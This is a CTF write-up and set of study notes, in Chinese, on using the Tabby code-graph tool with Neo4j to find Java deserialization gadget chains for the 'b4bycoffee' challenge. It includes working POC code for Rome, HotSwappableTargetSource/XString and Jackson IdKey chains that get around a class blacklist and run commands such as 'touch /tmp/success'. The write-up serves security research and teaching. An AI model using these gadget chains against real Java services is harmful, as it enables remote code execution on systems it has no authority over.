Tabby学习笔记 & Java反序列化gadget分析

Tabby学习笔记,挖掘反序列化gadget的思路和一些链的详细分析及POC

环境搭建

Neo4j

Tabby需要用到Neo4j,项目中有相应的Dockerfile,直接启动,7474为Web端口

1
2
3
git clone https://github.com/wh1t3p1g/tabby.git
cd tabby/env
docker compose up -d

检查环境和插件是否成功加载

1
2
CALL apoc.help('all')
CALL tabby.help('all')

Tabby

Java版本建议和作者一致或略高,Tabby使用的构建工具是Gradle,可以通过./gradlew tasks查看当前工程中可使用的任务

使用./gradlew bootJar编译打包,编译好的Jar包在build/libs目录

Tabby 1.1.0 版本以后使用配置文件的方式来进行分析,将tabby.jar放到项目根目录,并按需修改config/settings.properties中的配置,因为我的Neo4j是Docker启动的,配置中tabby.cache.isDockerImportPath需要设置为true

配置设置好后,运行java -Xmx10g -jar tabby.jar或者./run.sh,内存大小根据实际情况进行调整

案例分析

2022 长城杯 b4bycoffee

Jar包下载:https://share.weiyun.com/kkQkgmVZ

备用:b4bycoffee_f18028284cae793d0b1da80146f01bd0.zip

反编译分析源码,存在反序列化入口和Rome依赖:

1
2
3
4
5
6
7
public class coffeeController {
@RequestMapping({"/b4by/coffee"})
public Message order(@RequestBody CoffeeRequest coffee){
if (coffee.Venti != null) {
InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.Venti));
AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
Venti venti = (Venti)antInputStream.readObject();
1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

但是有以下黑名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class AntObjectInputStream extends ObjectInputStream {
private List<String> list;

public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list = new ArrayList<>();
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(ToStringBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.list.contains(desc.getName()))
throw new InvalidClassException("Unauthorized deserialization attempt", desc

.getName());
return super.resolveClass(desc);
}
}

Rome

一般Rome利用链构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Tool.setFieldValue(templates,"_bytecodes",Tool.getTemplatesImplCMDByteCodes("open -a calculator"));
Tool.setFieldValue(templates,"_name","x");
Tool.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Tool.setFieldValue(templates,"_class",null);
//templates.getOutputProperties();

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
//toStringBean.toString();

EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//equalsBean.hashCode();

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(equalsBean, "x");
Tool.setFieldValue(templates,"_class",null); //这里必须将_class设置为null,否则在反序列化hashMap的时候会ClassNotFoundException。因为在HashMap.put的时候TemplatesImpl.getOutputProperties()已经被触发一次了,_class中将会存储_bytecodes defineClass后的类
//deserialize hashMap

byte[] poc = Tool.serialize(hashMap);

调用栈:

1
2
3
4
5
6
7
getOutputProperties(), TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
toString(String), ToStringBean (com.sun.syndication.feed.impl)
toString(), ToStringBean (com.sun.syndication.feed.impl)
beanHashCode(), EqualsBean (com.sun.syndication.feed.impl)
hashCode(), EqualsBean (com.sun.syndication.feed.impl)
hash(Object), HashMap (java.util)
readObject(ObjectInputStream), HashMap (java.util)

其中TemplatesImplToStringBean被黑名单禁止了,但是EqualsBean可以用,并且代码中CoffeeBean类的toString方法可以执行任意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class CoffeeBean extends ClassLoader implements Serializable {
private String name = "Coffee bean";
private byte[] ClassByte;

public String toString() {
com.example.b4bycoffee.model.CoffeeBean coffeeBean = new com.example.b4bycoffee.model.CoffeeBean();
Class clazz = coffeeBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "A cup of Coffee --";
}
}

那么很容易构造出POC:

1
2
3
4
5
6
7
8
9
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean,"ClassByte",Tool.getCMDByteCodes("touch /tmp/success"));

EqualsBean equalsBean = new EqualsBean(CoffeeBean.class,coffeeBean);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(equalsBean, "x");

String poc = Tool.encodeBase64(Tool.serialize(hashMap));

调用栈为:

1
2
3
4
5
toString(), CoffeeBean (com.example.b4bycoffee.model)
beanHashCode(), EqualsBean (com.rometools.rome.feed.impl)
hashCode(), EqualsBean (com.rometools.rome.feed.impl)
hash(Object), HashMap (java.util)
readObject(ObjectInputStream), HashMap (java.util)

通过Tabby寻找其他链

修改配置文件,并运行java -Xmx10g -jar tabby.jar

1
2
3
4
5
6
7
8
9
tabby.cache.isDockerImportPath            = true
tabby.output.directory = env/import

tabby.build.target = cases/b4bycoffee-0.0.1-SNAPSHOT.jar
tabby.build.mode = gadget

tabby.build.isJDKProcess = true
tabby.build.enable = true
tabby.load.enable = true
Case1 (HashMap -> HotSwappableTargetSource.equals -> XString.equals -> .toString)

根据https://github.com/wh1t3p1g/tabby-path-finder中的示例写出查询语句,先限定source的classname为HashMap以缩小范围:

1
2
3
4
5
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1

再根据结果排除一些误报:

1
2
3
4
5
6
7
8
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals"]
)
return path limit 1

可以得到如下路径:

调用栈为:

1
2
3
4
5
6
com.example.b4bycoffee.model.CoffeeBean#toString()
java.lang.Object#toString()
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
java.lang.Object#equals(java.lang.Object)
java.util.HashMap#putVal(int,java.lang.Object,java.lang.Object,boolean,boolean)
java.util.HashMap#readObject(java.io.ObjectInputStream)

如果可行的话,那么POC应该这样构造:

1
2
3
4
5
6
7
8
9
10
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean, "ClassByte", Tool.getCMDByteCodes("touch /tmp/success"));

XString xString = new XString("");

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(coffeeBean, "x");
hashMap.put(xString, "x");

String poc = Tool.encodeBase64(Tool.serialize(hashMap));

但其实这样是不行的,从java.util.HashMap#putVal(int,java.lang.Object,java.lang.Object,boolean,boolean)java.lang.Object#equals(java.lang.Object),其实是HashMap在反序列化时逐个读入Node并放入table的过程中,对Node的key进行比较时触发的:

而执行key.equals(k)的前提是p.hash == hash,也就是说两个Node的key的hash必须相同,HashMap中计算Key的hash是直接调用其hashCode方法

com.sun.org.apache.xpath.internal.objects.XString中实现了hashCode方法,并且我们可以通过设置其中的m_obj为合适的字符串而让其hashCode为任意值

1
2
3
4
5
6
7
public int hashCode() {
return str().hashCode();
}

public String str() {
return (null != m_obj) ? ((String) m_obj) : "";
}

但是CoffeeBean并未实现hashCode方法,这将调用Object.hashCode(),并且生成不可预测的hash值

不过我们可以利用org.springframework.aop.target.HotSwappableTargetSource类来当做一个”中继”,因为HotSwappableTargetSource实现了hashCode方法,并且每个HotSwappableTargetSource对象的hash值都是一样的,而且其equals方法会继续调用target对象的equals方法:

1
2
3
4
5
6
7
public int hashCode() {
return HotSwappableTargetSource.class.hashCode();
}

public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

这个trick在marshalsec这篇paper中有提到

最终POC构造为:

1
2
3
4
5
6
7
8
9
10
11
12
13
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean, "ClassByte", Tool.getCMDByteCodes("touch /tmp/success"));

XString xString = new XString("");

HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(coffeeBean);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(xString);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(hotSwappableTargetSource1, "x");
hashMap.put(hotSwappableTargetSource2, "x");

String poc = Tool.encodeBase64(Tool.serialize(hashMap));

调用栈:

1
2
3
4
5
toString(), CoffeeBean (com.example.b4bycoffee.model)
equals(Object), XString (com.sun.org.apache.xpath.internal.objects)
equals(Object), HotSwappableTargetSource (org.springframework.aop.target)
putVal(int, Object, Object, boolean, boolean), HashMap (java.util)
readObject(ObjectInputStream), HashMap (java.util)
Case2 (❌)

写这一小节时,我对cypher语句的理解有误,导致有些误报排除的语句冗余或者错误,但写了很长已经懒得改了,小结末尾有指出错误点。

前文已经发现这样不行:

1
2
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
java.util.HashMap#putVal(int,java.lang.Object,java.lang.Object,boolean,boolean)

但是这样可以:

1
2
3
equals(Object), XString (com.sun.org.apache.xpath.internal.objects)
equals(Object), HotSwappableTargetSource (org.springframework.aop.target)
putVal(int, Object, Object, boolean, boolean), HashMap (java.util)

那么可以继续修改查询语句,将HashMap.putVal()调用非HotSwappableTargetSource.equals()的情况排除掉:

1
2
3
4
5
6
7
8
9
10
11
12
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals"]
) and none(n in nodes(path) where
(:Method{ NAME0:"java.util.HashMap.putVal" })-[:CALL]->(:Method{NAME0:"java.lang.Object.equals"})-[:ALIAS]->(n)
and
n.NAME0 <> "org.springframework.aop.target.HotSwappableTargetSource.equals"
)
return path limit 1

再排除一些误报:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals"]
) and none(n in nodes(path) where
(:Method{ NAME0:"java.util.HashMap.putVal" })-[:CALL]->(:Method{NAME0:"java.lang.Object.equals"})-[:ALIAS]->(n)
and
n.NAME0 <> "org.springframework.aop.target.HotSwappableTargetSource.equals"
) and none(n in nodes(path) where
n.CLASSNAME in ["com.sun.corba.se.spi.orb.OperationFactory$OperationBase"]
)
return path limit 1

查询出了一开始人工审的那条链:

排除这条链,排除题目中的黑名单,增大maxNodeLength,继续查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 12, false, false) yield path
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals","com.rometools.rome.feed.impl.EqualsBean.hashCode"]
) and none(n in nodes(path) where
(:Method{ NAME0:"java.util.HashMap.putVal" })-[:CALL]->(:Method{NAME0:"java.lang.Object.equals"})-[:ALIAS]->(n)
and
n.NAME0 <> "org.springframework.aop.target.HotSwappableTargetSource.equals"
) and none(n in nodes(path) where
n.CLASSNAME in ["com.sun.corba.se.spi.orb.OperationFactory$OperationBase","javax.management.BadAttributeValueExpException","com.rometools.rome.feed.impl.ObjectBean","com.rometools.rome.feed.impl.ToStringBean","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"]
)
return path limit 1

运行了好一会没有跑出结果

那么放宽我们source的条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals","com.rometools.rome.feed.impl.EqualsBean.hashCode"]
) and none(n in nodes(path) where
(:Method{ NAME0:"java.util.HashMap.putVal" })-[:CALL]->(:Method{NAME0:"java.lang.Object.equals"})-[:ALIAS]->(n)
and
n.NAME0 <> "org.springframework.aop.target.HotSwappableTargetSource.equals"
) and none(n in nodes(path) where
n.CLASSNAME in ["com.sun.corba.se.spi.orb.OperationFactory$OperationBase","javax.management.BadAttributeValueExpException","com.rometools.rome.feed.impl.ObjectBean","com.rometools.rome.feed.impl.ToStringBean","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"]
)
return path limit 1

这条链的其中一环是:java.awt.Window#setGraphicsConfiguration(java.awt.GraphicsConfiguration) -> java.lang.StringBuilder#append(java.lang.Object) -> java.lang.String#valueOf(java.lang.Object) -> java.lang.Object#toString()

对应代码:

1
2
3
4
5
void setGraphicsConfiguration(GraphicsConfiguration gc) {
...
log.finer("+ Window.setGraphicsConfiguration(): new GC is \n+ " + getGraphicsConfiguration_NoClientCode() + "\n+ this is " + this);
...
}

Java中如果+运算符任意一边是对象的话,会优先调用对象的valueOf函数,如果valueOf返回的是对象或者没有valueOf方法的话,那么会调用对象的toString函数

然后看getGraphicsConfiguration_NoClientCode()this所对应的类的相关方法,可以在Neo4j中辅助我们查找

1
2
3
4
5
6
7
8
9
10
11
12
match (c:Class)
where (
(c)-[:EXTENDS*]->(:Class{NAME:"java.awt.Window"}) or c.NAME="java.awt.Window"
or
(c)-[:EXTENDS*]->(:Class{NAME:"java.awt.GraphicsConfiguration"}) or c.NAME="java.awt.GraphicsConfiguration"
)
and (
(c)-[:HAS]->(:Method{NAME:"valueOf"})
or
(c)-[:HAS]->(:Method{NAME:"toString"})
)
return c.NAME

看完发现这条也是误报

继续排除一些误报后发现在maxNodeLength为8的情况下很久都跑不出来,试着降低一点可以跑出一些,遇到一个差一点就可以构造成功的链:

1
2
3
4
5
6
7
8
9
10
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks,6, false, false) yield path
where any(n in nodes(path) where
(:Method{ NAME0:"org.springframework.util.MimeType.getParameter" })-[:CALL]->()-[:ALIAS]->()-[:ALIAS]->(n)
and
n.NAME0 = "javax.swing.UIDefaults$TextAndMnemonicHashMap.get"
)
return path limit 1

后面在不断的尝试中,发现前文我对查询语句的理解有点问题,懒得再回去修改笔记了🤣,且把问题记录一下吧。

比如如下语句

1
2
3
4
5
6
7
8
9
10
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks,5, false, false) yield path
where any(n in nodes(path) where
(n)-[:CALL]->(:Method{NAME0:"java.util.Hashtable.put"})-[:ALIAS]->(:Method{NAME0:"java.security.Provider.put"})
and
n.NAME0 = "javax.swing.text.html.CSS.readObject"
)
return path limit 1

我以为查询出来的path肯定会包含这条子路径:

1
(:Method{NAME0:"javax.swing.text.html.CSS.readObject"})-[:CALL]->(:Method{NAME0:"java.util.Hashtable.put"})-[:ALIAS]->(:Method{NAME0:"java.security.Provider.put"})

实则不然,这个意思是先根据如下语句查出符合条件的n节点:

1
2
3
(n)-[:CALL]->(:Method{NAME0:"java.util.Hashtable.put"})-[:ALIAS]->(:Method{NAME0:"java.security.Provider.put"})
and
n.NAME0 = "javax.swing.text.html.CSS.readObject"

然后筛选出包含n节点的path,其实NAME0 = "javax.swing.text.html.CSS.readObject"的节点有且仅有那一个,所以整个语句等效于:

1
2
3
4
5
6
7
8
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks,5, false, false) yield path
where any(n in nodes(path) where
n.NAME0 = "javax.swing.text.html.CSS.readObject"
)
return path limit 1

同理如下语句也没办法排除java.util.HashMap.putVal() -> 非org.springframework.aop.target.HotSwappableTargetSource.equals 这条子链

1
2
3
4
5
none(n in nodes(path) where 
(:Method{ NAME0:"java.util.HashMap.putVal" })-[:CALL]->(:Method{NAME0:"java.lang.Object.equals"})-[:ALIAS]->(n)
and
n.NAME0 <> "org.springframework.aop.target.HotSwappableTargetSource.equals"
)

它排除的是在整个数据库中,满足这种条件的n节点。

🥲

Case3 (ConcurrentHashMap / HashMap -> ObjectIdGenerator$IdKey.equals -> XString.equals -> .toString)

测试的时候发现可以关闭Neo4j设置中的 “Connect result nodes”,这样查询结果就只会显示调用路径,而不会显示多余的关系边

1
2
3
4
5
6
7
8
9
10
11
12
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks,6, false, false) yield path
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals","com.rometools.rome.feed.impl.EqualsBean.hashCode","java.awt.Window.setGraphicsConfiguration","java.awt.KeyboardFocusManager.setMostRecentFocusOwner","org.apache.logging.log4j.spi.AbstractLogger.readObject","javax.swing.JTree.unarchiveExpandedState","javax.swing.tree.TreeSelectionModel.addTreeSelectionListener","javax.swing.tree.TreeModel.addTreeModelListener","java.lang.Throwable.initCause","javax.swing.event.EventListenerList.add","java.security.Provider.putId","java.util.EnumMap.typeCheck","java.awt.datatransfer.DataFlavor.readExternal"]
) and none(n in nodes(path) where
n.CLASSNAME in ["com.sun.corba.se.spi.orb.OperationFactory$OperationBase","javax.management.BadAttributeValueExpException","com.rometools.rome.feed.impl.ObjectBean","com.rometools.rome.feed.impl.ToStringBean","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"]
)and none(n in nodes(path) where
n.NAME0 in ["javax.swing.JTree.readObject","java.text.SimpleDateFormat.readObject","org.springframework.util.MimeType.readObject","org.apache.logging.log4j.message.ObjectMessage.equals","javax.naming.directory.BasicAttributes.equals"]
)
return path limit 1

找到和case1很像的一条调用链路:

1
2
3
4
5
6
7
com.example.b4bycoffee.model.CoffeeBean#toString()
java.lang.Object#toString()
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
java.lang.Object#equals(java.lang.Object)
com.fasterxml.jackson.annotation.ObjectIdGenerator$IdKey#equals(java.lang.Object)
java.lang.Object#equals(java.lang.Object)
java.util.concurrent.ConcurrentHashMap#readObject(java.io.ObjectInputStream)

在case1中,是通过在HashMap.putValXString.equals之间插入HotSwappableTargetSource来解决key的hash不同的问题。

同样在ConcurrentHashMap.readObject中也存在对比key的hash值的问题,只有当key的hash相同,才会执行k.equals(qk)

再来看com.fasterxml.jackson.annotation.ObjectIdGenerator$IdKey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static final class IdKey implements Serializable {
...
private final int hashCode;
...
public int hashCode() {
return this.hashCode;
}
...
public boolean equals(Object o) {
if (o == this) {
return true;
} else if (o == null) {
return false;
} else if (o.getClass() != this.getClass()) {
return false;
} else {
IdKey other = (IdKey)o;
return other.key.equals(this.key) && other.type == this.type && other.scope == this.scope;
}
}
}

它实现了hashCode方法,而且hash值是我们直接可控的,并且equals方法中也是用的我们可控的两个key,所以ObjectIdGenerator$IdKey完全可以用于代替HotSwappableTargetSource

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean, "ClassByte", Tool.getCMDByteCodes("touch /tmp/success"));

XString xString = new XString("");

ObjectIdGenerator.IdKey idKey1 = new ObjectIdGenerator.IdKey(Object.class,Object.class,xString);
ObjectIdGenerator.IdKey idKey2 = new ObjectIdGenerator.IdKey(Object.class,Object.class,coffeeBean);
Tool.setFieldValue(idKey1,"hashCode",0);
Tool.setFieldValue(idKey2,"hashCode",0);

ConcurrentHashMap<Object, Object> concurrentHashMap = new ConcurrentHashMap<Object,Object>();
concurrentHashMap.put(idKey2, "2");
concurrentHashMap.put(idKey1, "1");

String poc = Tool.encodeBase64(Tool.serialize(concurrentHashMap));

调用栈:

1
2
3
4
toString(), CoffeeBean (com.example.b4bycoffee.model)
equals(Object), XString (com.sun.org.apache.xpath.internal.objects)
equals(Object), ObjectIdGenerator$IdKey (com.fasterxml.jackson.annotation)
readObject(ObjectInputStream), ConcurrentHashMap (java.util.concurrent)

当然也可以把ConcurrentHashMap换成hashMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean, "ClassByte", Tool.getCMDByteCodes("touch /tmp/success"));

XString xString = new XString("");

ObjectIdGenerator.IdKey idKey1 = new ObjectIdGenerator.IdKey(Object.class,Object.class,xString);
ObjectIdGenerator.IdKey idKey2 = new ObjectIdGenerator.IdKey(Object.class,Object.class,coffeeBean);
Tool.setFieldValue(idKey1,"hashCode",0);
Tool.setFieldValue(idKey2,"hashCode",0);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(idKey1, "1");
hashMap.put(idKey2, "2");

String poc = Tool.encodeBase64(Tool.serialize(hashMap));

调用栈:

1
2
3
4
5
toString(), CoffeeBean (com.example.b4bycoffee.model)
equals(Object), XString (com.sun.org.apache.xpath.internal.objects)
equals(Object), ObjectIdGenerator$IdKey (com.fasterxml.jackson.annotation)
putVal(int, Object, Object, boolean, boolean), HashMap (java.util)
readObject(ObjectInputStream), HashMap (java.util)

参考

基于代码属性图的自动化漏洞挖掘实践

tabby在CTF中的运用